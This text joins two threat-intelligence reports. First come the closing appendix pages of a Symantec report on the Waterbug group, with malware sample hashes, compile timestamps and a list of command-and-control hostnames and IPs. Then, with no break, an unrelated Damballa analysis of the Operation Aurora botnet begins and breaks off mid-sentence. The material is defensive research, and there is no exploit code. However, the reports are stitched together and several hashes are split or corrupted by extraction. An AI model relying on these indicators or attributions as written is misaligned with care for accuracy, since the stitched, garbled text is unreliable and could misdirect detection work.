4c9e3ba2eda63e1be6f30581920230f0 Carbon 2009 2014-08-12 09:41:18 66962d3e0f00e7713c0e1483b4bf4b19 SAV [possibly compiled from pre-2011 sources] 2012-01-13 05:20:20 6e8bd431ef91d76e757650239fa478a5 SAV [possibly compiled from pre-2011 sources] 2012-01-13 05:20:20 f613fd96294515aaee3a2663d3b034c1 SAV [possibly compiled from pre-2011 sources] 2012-01-13 05:20:20 f86afb092e4b1a364ed6f6bc7f81db74 Page 38 The Waterbug attack group SAV 2011 2786525baa5f2f2569ca15caff1ebf86 SAV 2011 7a1348838ab5fe3954cb9298e65bfbee SAV 2011 a6fdf333606aef8c10d7e78444721c02 SAV 2011 1970-01-01 00:00:00 368d20edfd287e5ea3bb664a90e1a95e SAV 2011 2008-05-31 02:18:53 eaea9ccb40c82af8f3867cd0f4dd5e9d SAV 2011 2011-06-24 07:47:59 ed785bbd156b61553aaf78b6f71fb37b SAV 2011 2011-06-24 07:47:59 edd5fd7cf3b22fa4ea956d1a447520ff SAV 2011 2011-06-24 07:49:41 320f4e6ee421c1616bd058e73cfea282 SAV 2011 2011-06-24 07:49:41 40aa66d9600d82e6c814b- 5307c137be5 SAV 2011 2011-06-24 07:49:41 5036c44fbe7a99a0bddc9f05f7e9df77 SAV 2011 2011-06-24 07:49:41 60ec7a1c72f0775561819aa7681cf1ac SAV 2011 2011-06-24 07:49:41 c62e2197ac81347459e07d6b- 350be93a SAV 2011 2011-06-24 07:49:41 e265cd3e813d38d44e0fb7d84af24b4e SAV 2011 2011-06-24 07:49:41 f4f192004df1a4723cb9a8b4a9eb2fbf SAV 2011 2011-06-24 07:49:41 fb56784a109272bda77f241b06e4f850 SAV 2011 2011-10-26 05:04:06 4bd507e64c289d6687901baf16f6bbd7 SAV 2011 2011-10-26 05:04:06 e32d9e04c04c0c7e497905b5dcba7e50 SAV 2011 2011-10-26 05:04:06 ff411fc323e6652fcc0623fa1d9cb4d3 SAV 2011 2012-12-07 08:54:53 0565fc9cad0a9d3474fc8b6e69395362 SAV 2011 2012-12-07 08:54:53 ccb1b0e7ccd603c6cefc838c4a6fa132 SAV 2011 2013-02-04 13:17:56 69fc2ef72b3b0f30460b67d0201eef6e SAV 2011 2013-02-04 13:17:56 90478f6ed92664e0a6e6a25ecfa8e395 SAV 2011 2013-02-04 13:17:59 10254385e980f8b0784e13a5153e4f17 SAV 2011 2013-02-04 13:17:59 3e521e7d5b1825d8911fff9317503e13 SAV 2011 2013-02-04 13:17:59 b46c792c8e051bc5c9d4cecab96e4c30 SAV 2011 2013-02-04 13:18:09 2702e709eaae31c9255f812592d06932 SAV 2011 2013-02-04 13:18:09 5f8f3cf46719afa7eb5f761cdd18b63d Page 39 The Waterbug attack group SAV 2011 2013-02-04 13:18:09 c58ab0bec0ebaa0440e1f64aa9dd91b3 SAV 2011 2013-02-04 13:18:10 2b47ad7df9902aaa19474723064ee76f SAV 2011 2013-02-04 13:18:10 bd2fdaff34112cbfdfb8a0da75a92f61 SAV 2011 2013-02-04 13:18:10 ea3d1ee0dd5da37862ba81f468c44d2a SAV 2011 2013-02-04 13:19:09 f156ff2a1694f479a079f6777f0c5af0 SAV 2011 2013-02-04 13:19:14 83b9eeffc9aad9d777dd9a7654b3637e SAV 2011 2013-02-04 13:19:14 a22150576ca5c95c163fea4e4e750164 SAV 2011 2013-02-04 13:19:21 607d8fe2f3c823d961b95da106e9df5f SAV 2011 2013-02-04 13:19:21 626576e5f0f85d77c460a322a92bb267 SAV 2011 2013-02-04 13:19:25 5cc5989e870b23915280aee310669ccb SAV 2011 2013-02-04 13:19:25 611bbfb33b4b405d5d76a5519632f99a SAV 2011 2013-02-04 13:19:25 8c4029bbd9dfb1093fb9cca3db01f8ff SAV 2011 2013-02-04 13:19:25 8cf1c23e71783a4fb00005e569253d6d SAV 2011 2013-02-04 13:19:31 1d4ec94509aa1cb53148eb715facae76 SAV 2011 2013-02-04 13:19:31 209bfa50786096328934ad1dc62a4ec3 SAV 2011 2013-02-04 13:19:31 a655b19814b74086c- 10da409c1e509c0 SAV 2011 2013-02-04 13:19:53 1538246b770e215781e730297ce db071 SAV 2011 2013-02-04 13:19:53 199661f25577f69592e8caea76166605 SAV 2011 2013-02-04 13:19:53 3889a23e- 449362a34ba30d85089407c8 SAV 2011 2013-02-04 13:19:53 3c1a8991e96f4c56ae3e90fb6f0ae679 SAV 2011 2013-02-04 13:19:53 4535025837bebae- 7a04eb744383a82d7 SAV 2011 2013-02-04 13:19:59 1c6c857fa17ef0aa3373ff16084f2f1c SAV 2011 2013-02-04 13:19:59 1f7e40b81087dbc2a65683eb25df72c4 SAV 2011 2013-02-04 13:20:02 119f2d545b167745fc6f71aed1f117f6 SAV 2011 2013-02-04 13:20:02 750d2f5d99d69f07c6cee7d4cbb45e3f SAV 2011 2013-02-04 13:20:04 01829c159b- be25083b8d382f82b26672 SAV 2011 2013-02-04 13:20:04 3de8301147da3199e- 422b28bb782e2a9 SAV 2011 2013-02-04 13:20:04 a762d2c56999eda5316d0f94aba940cb Page 40 The Waterbug attack group SAV 2011 2013-02-04 13:20:04 f3858dc203da418474b5033a912170c0 SAV 2011 2013-02-04 13:20:04 f57c84e22e9e6eaa6cbd9730d7c652dc SAV 2011 2013-02-04 13:20:05 083c95e8ffa48f7da5ae82b0bd79db1b SAV 2011 2013-02-04 13:20:05 380bb5b8c750c7252948dc0890 1c0487 SAV 2011 2013-02-04 13:20:05 64adad7c7965a0abc87a1cbc6c77b558 SAV 2011 2013-02-04 13:20:05 8cd392a5b62c44dd88c6b847db428fba SAV 2011 2013-02-04 13:20:05 d4fb3ec5951a89a573445058012d7dcd SAV 2011 2013-02-08 12:12:45 01c90932794c9144fa6c842e2229e4ec SAV 2011 2013-02-08 12:12:45 24ad996024bb9b2321550ab- f348e009d SAV 2011 2013-02-08 12:12:45 921ad714e7fb01aaa8e9b960544e0d36 SAV 2011 2013-02-08 12:12:45 e183bfd93326f77f7596dcc41064a7c8 SAV 2011 2013-02-08 12:12:49 96fff289cc939d776a1198f460717aff SAV 2011 2013-02-08 12:12:49 eb621eeecafd25a15e999fe786470bf4 SAV 2011 2013-02-08 12:12:58 a231056fcc095d0f853e49f47988e46e SAV 2011 2013-02-08 12:12:58 ff8071d7147c4327e17c95824bb7315f SAV 2011 2013-02-08 12:13:00 465eed02d1646a3ad20c43b9f0bbe2e9 SAV 2011 2013-02-08 12:13:00 4c4e1a130bb2cea63944b589fc212e1f SAV 2011 2013-02-08 12:13:00 70dc1e25493940e959fd1f117e60a90c SAV 2011 2013-02-08 12:13:08 4f42fe8c67214c7ab5c9f8d6a8ed2c9c SAV 2011 2013-02-08 12:13:08 6095f71f699ff30bba2321d433e91e1d SAV 2011 2013-02-08 12:13:08 a86ac0ad1f8928e8d4e1b728448f54f9 SAV 2011 2013-02-08 12:13:18 22d01fa2725ad7a83948f399144563f9 SAV 2011 2013-02-08 12:13:18 3f4d37277737c118ecda5e90418597a5 SAV 2011 2013-02-08 12:13:18 498f9aa4992782784f49758c81679d0a SAV 2011 2013-02-08 12:13:18 bb4e92c27d52fb8514a133629c4c7b05 SAV 2011 2013-02-08 12:13:19 5ede9cb859b40fb01cf1efb6ad32a5f1 SAV 2011 2013-02-08 12:13:19 aa9b4a7faa33c763275d2888fbf0f38b SAV 2011 2013-02-08 12:13:22 b19d41bec36be0e54f8740855c309c85 Page 41 The Waterbug attack group SAV 2011 2013-02-08 12:13:22 ee58e5434b0cabaff8aba84ed1526d8d SAV 2011 2013-02-08 12:13:26 199fa4ef7c88271882d81618d82acd0a SAV 2011 2013-02-08 12:13:26 29f39297bd068b0b3f0ceb01abc1fa90 SAV 2011 2013-02-08 12:13:26 335387e729499ff7d46c25477e9c8c5a SAV 2011 2013-02-08 12:13:26 58c5f766ef18df552a8b39dab9d29d2a SAV 2011 2013-02-08 12:13:26 e224fd7563b9c7893566018204be820c SAV 2011 2013-05-14 10:42:23 b2a9326bc421581dc60a03b97ee7ffce SAV 2011 2013-05-14 10:42:23 c6c475d7678c1a3ccbba987042c08fdf SAV 2011 2013-10-04 13:07:42 02eb0ae7bfa899d80a6e8d14603a1774 SAV 2011 2013-10-04 13:07:42 41acf7f9e821d087781d9f69c5a08eb8 SAV 2011 2013-10-04 13:07:42 ddc439cae6bd6d68157e4d28b14be68c SAV 2011 2013-10-04 13:07:42 f65c36b49b3d1ad0074124b- d31c74b50 SAV 2011 2014-03-21 06:41:54 24f2b8ed1bab204f00dc49a76c4aa722 SAV 2011 2014-03-21 06:41:54 43af46ba9015a06cc8ffaac6105ea732 SAV 2011 2014-03-21 06:41:54 9c1199662869706e1361b3cc1df1f8b6 SAV 2011 2014-03-21 06:41:53 101e57e655cd70de09fdb5dc6660a861 SAV 2011 2014-03-21 06:41:53 36986f7dedc83c8ea3fbd6a51bd594b2 SAV 2011 2014-03-21 06:41:53 463c217df2ea75f98cb4d02b8b688318 SAV 2011 2014-03-21 06:41:53 ce184ef045f4b0eb47df744ef54df7bc SAV 2011 2014-03-21 06:41:53 efdaf1460ce9e62bde6b98ae4749cf56 SAV 2011 2014-03-21 06:41:53 fcaebfbad36d66627c3e1c72f621131a ComRAT 2013-01-03 00:37:57 255118ac14a9e66124f7110acd16f2cd ComRAT 2013-01-03 00:55:06 8d4f71c3ec9a7a52904bbf30d0ad7f07 ComRAT 2013-01-03 18:03:16 7592ac5c1cf57c3c923477d8590b6384 ComRAT 2013-01-03 18:03:45 b407b6e5b4046da226d6e189a67f62ca ComRAT 2013-01-03 18:14:51 0ae421691579ff6b27f65f49e79e88f6 Generic 24a13fc69075025615de7154c3f5f83f Generic 3189de1ff1f8afed0f70e352dfcd2abb Page 42 The Waterbug attack group Trojan. Turla CC servers Symantec has sinkholed a number of CC servers used by the Waterbug group. Table 6 details the CC servers that Symantec has identified. Generic a4791944d- c3b6306692aed9821b11356 mail.9aac.ru http://kad.arbitr.ru/ http://9aas.arbitr.ru 9aas.arbitr.ru/ Generic bdf2a449f611836bc55117586d8b1b31 Generic dd5c6199cef69d4e2a1795e481d5f87d Generic eeeccf09d64c6d32d67dbcedd25d47ac Generic fa8715078d45101200a6e2bf7321aa04 Generic 2009-01-28 19:42:44 5943c25e20dffc0801ee1e38dc9e3ddd Generic 2009-01-28 19:42:44 692512e5132315b115a0b197d7 ab6561 Generic 2009-07-13 23:56:35 f2c7bb8acc97f92e987a2d4087d021b1 Generic 2010-11-20 09:46:13 5746bd7e255dd6a8afa06f7c42c1ba41 Table 6. CC servers used by the Waterbug group CC hostname / IP Address Sinkholed communityeu.xp3.biz SINKHOLED euassociate.6te.net SINKHOLED euland.freevar.com SINKHOLED eu-sciffi.99k.org fifa-rules.25u.com franceonline.sytes.net greece-travel.servepics.com hockey-news.servehttp.com marketplace.servehttp.com musicplanet.servemp3.com music-world.servemp3.com newutils.3utilities.com nightday.comxa.com north-area.bbsindex.com SINKHOLED olympik-blog.4dq.com pokerface.servegame.com pressforum.serveblog.net sanky.sportsontheweb.net softprog.freeoda.com tiger.got-game.org tiger.netii.net toolsthem.xp3.biz SINKHOLED top-facts.sytes.net weather-online.hopto.org wintersport.sytes.net Page 43 The Waterbug attack group world-weather.zapto.org x-files.zapto.org booking.etowns.org SINKHOLED easports.3d-game.com SINKHOLED cheapflights.etowns.net SINKHOLED academyawards.effers.com SINKHOLED 62.68.73.57 62.12.39.117 202.78.201.99 82.113.19.75 207.226.44.167 85.195.129.196 193.19.191.240 82.211.156.190 72.232.222.58 212.6.56.67 62.212.226.118 82.113.19.72 196.45.118.14 82.77.184.252 213.150.170.192 212.6.56.82 62.12.39.117 62.68.73.57 80.88.134.172 te4step.tripod.com www.scifi.pages.at support4u.5u.com eu-sciffi.99k.org swim.onlinewebshop.net winter.site11.com july.mypressonline.com soheylistore.ir tazohor.com jucheafrica.com 61paris.fr For specific country offices and contact numbers, please visit our website. Symantec World Headquarters 350 Ellis St. Mountain View, CA 94043 USA 1 (650) 527-8000 1 (800) 721-3934 www.symantec.com Copyright 2015 Symantec Corporation. All rights reserved. Symantec, the Symantec Logo, and the Checkmark Logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. About Symantec Symantec Corporation (NASDAQ: SYMC) is an information protection expert that helps people, businesses and governments seeking the freedom to unlock the opportunities technology brings -- anytime, anywhere. Founded in April 1982, Symantec, a Fortune 500 company, operating one of the largest global data-intelligence networks, has provided leading security, backup and availability solutions for where vital information is stored, accessed and shared. The companys more than 20,000 employees reside in more than 50 countries. Ninety-nine percent of Fortune 500 companies are Symantec customers. In fiscal 2014, it recorded revenues of 6.7 billion. To learn more go to www.symantec.com or connect with Symantec at: go.symantec.com/social/. http://www.symantec.com go.symantec.com/social/ Pattern-2 Pattern-3 Pattern-4 Pattern-5 Pattern-6 Pattern-7 Pattern-8 Pattern-9 OVERVIEW Introduction Vectors Spear-phishing Venom distribution network Malware Trojan. Wipbot Trojan.
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Turla Conclusion Appendix Injection attack analysis PluginDetect library Exploits Trojanized applications Trojan. Turla variants Detection guidance Waterbug tools Additional exploits used Samples Trojan. Turla CC servers Take Back Command-and-Control The Command Structure of the Aurora Botnet History, Patterns and Findings Executive Overview Following the public disclosures of electronic attacks launched against Google and several other businesses, subsequently referred to as Operation Aurora, Damballa conducted detailed analysis to confirm that existing customers were already protected and to ascertain the sophistication of the criminal operators behind the botnet. There has been much media attention and speculation as to the nature of the attacks. Multiple publications have covered individual aspects of the threat in particular detailed analysis of forensically recovered malware and explanations of the Advanced Persistent Threat (APT). By contrast, Damballa has been able to compile an extensive timeline of the attack dating back to mid-2009 that identifies unique aspects to the Aurora botnet that have been previously unknown. Based upon this new information and our experience in dealing with thousands of enterprise-targeted botnets, Damballa believes that the criminal operators behind the attack are relatively unsophisticated compared other professional botnet operators. Even so, the results proved just as damaging as a sophisticated botnet since the threat was not quickly identified and neutralized. Key observations discussed in the main body of this analysis report: The major pattern of attacks previously identified as occurring in mid-December 2009 targeting Google appear to originate in July 2009 from mainland China. Hosts compromised with Aurora botnet agents and rallied to the botnet Command-and-Control (CnC) channels were distributed across multiple countries before the public disclosure of Aurora, with the top five countries being the United States, China, Germany, Taiwan and the United Kingdom. Damballa identified additional botnet CnC domains used by these criminal operators and established a timeline of malware associations back to May 2nd 2009 by tracking the evolution of the malware used by Auroras operators. Analysis of network traffic associated with the lookups of the botnet CnC is not consistent with the publicly discussed Internet Explorer 6 infection vector. This botnet has a simple command topology and makes extensive use of Dynamic DNS (DDNS) CnC techniques. The construction of the botnet would be classed as old-school, and is rarely used by professional botnet criminal operators any more. Reliance upon DDNS CnC is typically associated with new and amateur botnet operators The criminals behind the Google attack appear to have built and managed a number of separate botnets and run a series of targeted attack campaigns in parallel. This conclusion is based upon CnC domain registration and management information. The earliest of the CnC domains associated with these botnets, reliant upon DDNS service provisioning, appear to have been registered on July 13th 2009. The Command Structure of the Aurora Botnet Page 2 The botnet operators had access to large numbers of CnC hosts in geographically diverse hosting co-locations from the very start a fairly high cost for a botnet. Further, the botnet employed over a dozen domains in diverse DDNS networks for CnC. Some of the botnet agents focused on victims outside of Google, suggesting that each domain might have been dedicated to a distinct class or vertical of victims. Only the US victims of the attack were compelled to perform mail-based DNS queries an event that would typically indicate attempted document exfiltration via email services. Damballa identified multiple CnC testing, deployment, management and shutdown phases of the botnet CnC channels. Some of the CnC domains appear to have become dormant for a period of time after they infected victim systems. This type of activity can sometimes be associated with an update to the botnet malware, or when the criminal operator sells/trades a segment of the botnet to another criminal operator. The botnet operators behind the Aurora attacks deployed other malware families prior to the key Trojan. Hydraq release. Some of these releases overlapped with each other. Two additional families of malware (and their evolutionary variants) were identified as Fake AV Alert / Scareware Login Software 2009 and Fake Microsoft Antispyware Service, both of which employed fake antivirus infection messages to socially engineer victims into installing malicious botnet agents. By studying the evolution of the Google attacks and tracking the malicious campaigns conducted before (and in parallel to) the public disclosure of Operation Aurora in January 2010, Damballa has established a detailed timeline of infections. Instead of this attack being a sophisticated APT operation, it appears that the attacks originated from a Chinese botnet operations team, and that the attack vector underwent several different phases of botnet building and malware deployment before being discovered by Google. The fact that some of the later attacks utilized a different family of malware and may have exploited Zero-Day vulnerabilities within Internet Explorer 6 as one of the infection vectors is typical for modern botnet distribution campaigns. Botnet operators also increasingly trade or sell segments of the botnets they build. Once sold, the owner of the botnet typically deploys a new suite of malware onto compromised systems. The CnC provides the link between various campaigns run by the botnet operators and the multiple malware iterations. Since Damballa focuses on malicious, remote- controlled crimeware that depends on CnC to function, we were able to determine the evolution and sophistication of the Aurora botnet and its operators with greater detail and accuracy than other reports to-date. In general, Aurora is just another botnet and typifies the advanced nature of the threat and the criminal ecosystem that supports it. It is important to note, however, that botnets linked to the criminal operators behind Aurora may have been sold or traded to other botnet operators, either in sections or on an individual victim basis. This kind of transaction is increasingly popular. Specialist botnet builders sell access to victim systems or networks for a fee making it very simple for other entities to access confidential business systems and information without needing be technologically proficient. These transactions between criminals are very difficult to detect. The Command Structure of the Aurora Botnet Page 3 Introduction The progression of semi-autonomous malware into globe-spanning botnets with victims numbering in the millions continues to accelerate. In short, botnets, and the criminal ecosystem that supports them, lie at the heart of modern cybercrime. Specialist contractors and service providers occupy every online niche, enabling both newbie hackers and professional botnet operators to overcome technological hurdles and operational barriers for a small price typically stolen identities or access to hijacked systems rather than dollars. All it takes to get started is an Internet search engine and the ability to install software on a computer. Devastating attacks start with a nominal fee for acquiring advanced malware construction tools capable of automatically generating customized botnet agents dramatically superior to tools used by professional hackers only three years ago. Fierce competition within the ecosystem has resulted in the commoditization of these tools and services, which has lowered price points and driven suppliers to differentiate with 24x7 support, money-back guarantees, replacement warrantees and even SLAs. Major international corporations have begun to publicly acknowledge this electronic threat. On January 12, 2010, Google announced that it had been the victim of a targeted attack and had subsequently identified over 34 additional organizations that had similarly been breached by the same criminal team. One major industrial powerhouse has publicly focused on the risks posed by persistent electronic attacks by including references to these threats in their quarterly 10-K filing. Report Objectives The purpose of this report is to explain the advanced state of todays botnet ecosystem by way of example, and to examine the ways in which criminal operators rely upon botnet technologies to breach corporate networks and extract secrets from their victims. Much media fervor has surrounded Googles public disclosure of the successful attacks against their systems. 33 other victims also fell prey to what has been frequently referred to as an Advanced Persistent Threat (APT). This report closely examines the methods employed by the criminal operators who conducted this botnet campaign. Many security vendors have explained the operation against Google, dubbed Operation Aurora, using a military vernacular. However, based upon analysis of exhaustive data surrounding these attacks and examination of both the malware and the CnC topologies used by the criminals behind Aurora, it appears that this threat can best be classified as a just another common botnet attack and one that is more amateur than average. This report details new analysis of the malware evolution and the CnC construction behind these attacks, and provides unique insight into similar threats facing large business. Comparisons are made between the Aurora attacks and professionally orchestrated campaigns run by sophisticated cyber criminals. Timelines track the evolution of this threat help to identify the objectives of the criminals behind the Aurora attacks, and illustrate the advanced state of the botnet ecosystem. Understanding Aurora Malware samples recovered from victim systems using forensic techniques lie at the heart of almost all public analysis of Aurora. The samples directly associated with Aurora are commonly referred to as Trojan. Hydraq. Damballa analyzed the Trojan. Hydraq outbreak using DNS monitoring logs obtained from CnC authority DNS servers. Since every infected host in the Aurora botnet contacted the The Command Structure of the Aurora Botnet Page 4 authority server, DNS logs provided a rich inventory of the botnets resolution behavior. The logs also delivered insights into the development, gestation and growth of the Aurora botnet. This data leads to several interesting questions: Origins Which network first resolved the botnet CnC domains? Who was the first victim? Are there clues in the first DNS lookups as to the authors or origin of the network? The analysis below shows that a university in China, and a Chinese collocation facility (colo), were critical early incubators of the infection. Portions of the infection originated from within Google Chinas offices. Remediation and Damage Assessment Who else resolved the botnet CnC domains before news of the malware became public? What were the victim systems forced to do? Public accounts state that the botnet harvested email information. The DNS log analysis reveals numerous MX-lookups (mail-related DNS lookups). If these lookups are related to document theft, it is reasonable to estimate the number and timing of attempted exfiltration events. In addition to the type of DNS traffic, the log analysis also reveals where the victims are located. Almost all (99) of these events took place inside Googles US network. No victim in any other country performed MX lookups, suggesting Auroras data exfiltration targets were all in the U.S. The pattern of MX lookups appears automated and lacks any diurnal properties. Capabilities What else does DNS log analysis suggest, and what other questions does it raise about the attack? Damballas analysis helps illumine the origin of the botnet, based on years of observing the authority servers used in the Aurora CnC. Previously Disclosed Aurora Knowledge Operation Aurora refers to the investigations of a cyber attack which appeared to have begun in mid- December 2009 and continued through to February 2010. Aurora was first publicly disclosed by Google on January 12, 2010 and is commonly associated with attacks originating from China. The Aurora name was originally publicized by Dmitri Alperovitch, Vice President of Threat Research at McAfee, and refers to a file path artifact that might reveal what the criminal authors of the malware named their operation. Key facts publicly associated with Aurora: a) Google stated that some of their intellectual property had been stolen and publicly announced the attack on January 12th 2010. b) While the scope of reported victims includes around 34 organizations, only Google, Adobe Systems, Juniper Networks and Rackspace have publicly confirmed that they were targeted. Various media reports have stated that Yahoo, Symantec, Northrop Grumman, Dow Chemical and the Rand Corporation were also among the targets. c) Many security agencies and experts claim the attack to be a sophisticated use of advanced tools and techniques most notably the use of a Zero-Day exploit for a previously unknown vulnerability in Microsofts Internet Explorer 6 browser technology. d) The public name for the malware component that allowed the Aurora criminal operators to remotely control their victims system is called Trojan. Hydraq. e) The Aurora attacks are widely assumed to be an APT originating from within China. The Command Structure of the Aurora Botnet Page 5 Advanced Persistent Threats Advanced Persistent Threats (APTs) are a cybercrime category directed at business and political targets. APTs require a high degree of stealithiness over a prolonged duration of operation in order to be successful. The attack objectives therefore typically extend beyond immediate financial gain, and compromised systems continue to be of service even after key systems have been breached and initial goals reached. Definitions of precisely what an APT is can vary widely, but can best be summarized by their named requirements: Advanced Criminal operators behind the threat utilize the full spectrum of computer intrusion technologies and techniques. While individual components of the attack may not be classed as particularly advanced (e.g. malware components generated from commonly available DIY construction kits, or the use of easily procured exploit materials), their operators typically access and develop more advanced tools as required. They combine multiple attack methodologies and tools in order to reach and compromise their target. Persistent Criminal operators give priority to a specific task, rather than opportunistically seeking immediate financial gain. This distinction implies that the attackers are guided by external entities. The attack is conducted through continuous monitoring and interaction of a botnet in order to achieve the defined objectives. It does not mean a barrage of constant attacks and malware updates. In fact, a low-and-slow approach is usually more successful. Threat Means that there is a level of coordinated human involvement in the attack. The criminal operators have a specific objective and are skilled, motivated, organized and well funded. Damballas Perspective Damballas research and technical expertise focuses on the detection of CnC tethering and the malicious communications between a victims computer and the remote criminal operator. Damballa detects new botnet CnC channels as they are created and used by criminal operators. This globe- spanning array of network sensors monitors CnC use to identify victims that join botnets. Damaballa used key DNS observations about the operational characteristics of Dynamic DNS zones (e.g. zone cuts, TTL changes, NS changes, etc.) in order to identify the different states in which the botnet was operated by its criminal controllers. Changes in the way that a DNS zone is structured by criminals typically denotes an intension to develop, test, and operate malicious infrastructure, or abandon a particular zone and move to a new one. Damballa also reviewed historical DNS resolution data derived from our passive observation systems to identify when (and how frequently) the CnC domain names associated with the Aurora botnet were queried. This information provided valuable insight into the pace at which victims rallied to the botnet and established a timeline for Aurora. The Command Structure of the Aurora Botnet Page 6 Figure 1: Cumulative volume of CnC domain name resolutions. Absolute numbers do not represent individual victims (i.e. victim computers make repeated lookups based upon the TTL of the CnC domain and relative malware activity on the system), but do depict approximately when the CnC domains were first used by the Aurora botnet. From this passive DNS resolution dataset, that date appears to be June 14, 2009. These network observations combine with Damballas ability to identify Zero-Day remote access malware and botnet agents within customers networks to determine additional CnC relationships. Zero-Day malware samples are automatically passed to Damballas analysis cloud along with tens-of- thousands of new malware variants obtained through industry security sharing programs. These network behaviors are extracted, and provide Damballa with additional insight into CnC evolution and criminal ownership. They also allow us to cluster various malware and botnet agents automatically with their respective criminal operators despite factors such as serial variant production, migrations to new malware families and sub-contracting malware development to other criminal authors. Trojan. Hydraq is the name of a family of malware now synonymous with Operation Aurora. To date, only a handful of related samples have been made public by various security vendors almost all of which were gathered through forensic analysis of compromised computers. However, it is important to understand that not only are there multiple variants of malware within the Trojan. Hydraq family, but that criminal operators also use(d) other malware families in their attacks. Based upon analysis of samples and data gathered by Damballa, malware associated with the criminal operators behind the Aurora botnet can be traced back to August 2009. A holistic DNS forensic analysis of any botnet that utilizes DNS as a critical communication element requires DNS information from both the iterative and recursive DNS phases. Utilizing large scale passive DNS information from large ISPs and DNS traces from a significant portion of the CnCs DNS authority servers (ANS) Damballa has identified more than many infected hosts that attempted to connect or rally to the five CnC domain names associated with the Aurora botnet and investigated in this report. These hosts where distributed across multiple countries at the time of the public Google disclosure (January 12, 2010). 1 10 100 1000 10000 100000 1000000 7/1/2009 8/1/2009 9/1/2009 10/1/2009 11/1/2009 12/1/2009 1/1/2010 The Command Structure of the Aurora Botnet Page 7 Position Country 1 United States 2 China 3 Germany 4 Taiwan 5 United Kingdom Table 1: Top 5 countries with Aurora botnet victims Damballas passive DNS data collection indicates that the infection vector was not centralized, and that a significant number of infected assets tried to look up CnC domain names throughout the US, with a higher frequency in the Northeast. Figure 2: Volume of DNS queries per Aurora CnC domain associated with the attacks within the USA, by geographic region Some interesting observations can be made about the lifetime and popularity of the CnC domains used. The next figure shows that portions of the CnC domain names were active since the beginning of September 2009 (e.g. google.homelinux.com, yahoo.blogdns.net, mcsmc.org). These domain names reveal two important trends a downward-spike during the month of October and a steady hit rate for the remaining months. Beside these long-lived CnC domain names, Damballa observed a number of domain names that become active in the early days of November. Some of them were active only for a couple of months (e.g. filoups.info), while others where active longer The Command Structure of the Aurora Botnet Page 8 (e.g. m7been.zapto.org, baltika1.servebeer.com, etc.) before they where sinkholed by corresponding DNS operators. Figure 3: Volume of DNS resolution queries per Aurora botnet, per month. Spikes in query volume typically indicate growth of a botnet and renewed CnC interaction. The Major Components Botnets are a business. Professional criminal operators employ specialist tools, services and methodologies to conduct their botnet operations. While botnet discussion has been tied malware families in the past (e.g. The Conficker Botnet, The Koobface Botnet), todays botnet operators regularly employ multiple families of malware, considering them disposable attack tools. The key elements of a botnet are: Malware The tool used by botnet operators to conduct malicious activities on victims computers and to provide remote control capabilities. CnC The electronic tether between the criminal operator, a control server and victims computers. CnC Domain The domain name of the host being used for CnC conduct or to route communications between the control server and the victims computer. CnC Server The server used by the botnet operators to rally and provide electronic tethers to victim computers. Botnet The collective name for malware-infected victims with established connections to a CnC server and remotely controlled by criminal operators. Criminal Operators The person or team that builds, manages and reaps financial reward from a botnet. The Command Structure of the Aurora Botnet Page 9 How Advanced Persistent Threats Breach Enterprises APTs breach enterprises through a wide variety of vectors, even in the presence of properly designed and maintained defense-in-depth strategies: Internet-based malware infection Physical malware infection External exploitation Well funded APT adversaries do not necessarily need to breach perimeter security controls from an external perspective. They can, and often do, leverage insider threat and trusted connection vectors to access and compromise targeted systems. Abuse and compromise of trusted connections is a key ingredient for many APTs. While the targeted organization may employ sophisticated technologies in order to prevent infection and compromise of their digital systems, criminal operators often tunnel into an organization using the hijacked credentials of employees or business partners, or via less-secured remote offices. As such, almost any organization or remote site may fall victim to an APT and be utilized as a soft entry or information harvesting point. A key requirement for APTs (as opposed to an everyday botnet) is to remain invisible for as long as possible. As such, the criminal operators of APT technologies tend to focus on low and slow attacks stealthily moving from one compromised host to the next, without generating regular or predictable network traffic to hunt for specific data or system objectives. Tremendous effort is invested to ensure that malicious actions cannot be observed by legitimate operators of these systems. The Command Structure of the Aurora Botnet Page 10 Malware is a key ingredient in successful APT operations. Modern off-the-shelf and commercial malware includes all of the features and functionality necessary to infect digital systems, hide from host-based detection systems, navigate networks, capture and extricate key data, provide video surveillance and deliver silent covert channels for remote control. APT operators often use custom malware tools to achieve specific objectives and harvest information from non-standard systems. At the very heart of every APT lies remote control functionality. Criminal operators need this capability in order to navigate to specific hosts within target organizations, exploit and manipulate local systems, and gain continuous access to critical information. If an APT cannot connect with its criminal operators, then it cannot transmit any intelligence it may have captured. In effect, it has been neutered. This characteristic makes APTs appear as a sub-category of botnets. While APT malware can remain stealthy at the host level, the network activity associated with remote control is more easily identified. As such, APTs are most effectively identified, contained and disrupted at the network level. Controlling the Victim Once the victims computer has been compromised, the malware component will typically establish its first CnC session to register itself with the botnet CnC server. In order for this to occur, the botnet operator must correctly set up the CnC servers and also configure appropriate resolution services such as registering domain names and configuring DNS resolution settings. Depending upon the sophistication of the botnet operators, this CnC infrastructure can take on many different forms, with each alternative offering varying degrees of robustness and flexibility. Readers are encouraged to read Damballas earlier whitepaper titled, Botnet Communication Topologies: Understanding the Intricacies of Botnet Command-and-Control, for more information on this topic. The Command Structure of the Aurora Botnet Page 11 Detailed analysis of DNS intricacies for CnC domain name querying and management follow. Key Concepts: DNS Overview DNS resolution can be generally viewed as having two phases a private stub (or recursive) layer, and a public authoritative (or iterative) layer. Figure 4: Conceptual view of Aurora DNS lookups and multiple monitoring opportunities. Damballa used the convenience of an authority monitoring system to gather [qr aa] responses. The figure above illustrates how Aurora victims performed DNS lookups, and provides a simplified delegation tree for several of the Aurora-related CnC domains. An Aurora authority DNS zone is depicted: the light blue zone delegated to No-IP. The No-IP zone has been simplified in the diagram to include the authority DNS servers, nf[1-4].no-ip.com, as well as the actual Aurora CnC domain, blog1.servebeer.com, even though in practice these are separate delegations from the .com TLD parent. An infected host is depicted in the light green area. Its resolution path consists of the virus code (designated as VX), a local stub resolver (often available through various statically named or random DLL files on Windows hosts), and a local recursive DNS server. The private portions of DNS traffic occur within this local envelope, colored as the light green area. No DNS monitoring takes place here, in part because of the possible presence of PII, and because of the staggering volume of traffic monitoring might entail, for even a small network. Such networks often generate billions of queries per day below the recursive. When a victim attempts to contact the Aurora CnC domain blog1.servebeer.com, 